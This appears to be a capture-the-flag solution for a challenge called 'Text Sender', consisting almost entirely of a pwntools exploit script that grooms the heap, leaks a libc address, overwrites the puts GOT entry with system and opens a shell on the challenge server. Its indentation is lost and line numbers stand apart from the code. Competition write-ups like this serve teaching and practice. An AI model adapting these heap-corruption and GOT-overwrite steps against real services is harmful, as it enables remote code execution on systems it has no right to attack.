10th place

Text Sender (400 pts, 31 solves)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
#!/usr/bin/python2
from pwn import *

io = remote('chals.sekai.team', 4000)
# io = process('./textsender')

context.binary = 'textsender'
elf = ELF('textsender', checksec = False)
libc = ELF('libc-2.32.so', checksec = False)

ru = lambda x : io.recvuntil(x, drop = True)
sla = lambda a, b : io.sendlineafter(a, b)
ia = lambda : io.interactive()
uu64 = lambda x : u64(x.ljust(8, '\x00'))
libc_os = lambda x : libc_base + x
libc_sym = lambda x : libc_os(libc.sym[x])

def menu(choice):
sla('> ', str(choice))

def set_sender(name):
menu(1)
sla('Sender\'s name: ', name)

def add_message(name, msg):
menu(2)
sla('Receiver: ', name)
sla('Message: ', msg)

def edit_message(name, msg):
menu(3)
sla('Name: ', name)
data = ru('\n')
if 'Cannot' in data:
return
sla('New message: ', msg)

def print_message():
menu(4)

def send_message():
menu(5)

for i in range(8):
add_message(str(i), 'a')
set_sender('a')
send_message()
for i in range(8):
add_message(str(i), 'a')
send_message()
edit_message('a' * 0x420, 'a')
edit_message('a' * 0x100, 'a')
for i in range(7):
add_message(str(i), 'a')
pld = flat({
0xa8: 0x201,
0xb0: 'Sender: ',
}, length = 0x100)
edit_message(pld, 'a')
add_message('7', 'a')
send_message()
for i in range(8):
add_message(str(i), 'a')
pld = flat({
0x138: 0x21,
0x140: 0x0000000000404028,
0x148: 0x0000000000404018,
})
edit_message('6', pld)
print_message()
ru('(Draft 7) ')
puts_addr = uu64(ru(':'))
libc_base = puts_addr - libc.sym['puts']
sys_addr = libc_sym('system')
edit_message(flat(puts_addr), flat(sys_addr))
edit_message('/bin/sh\x00', 'a')
ia()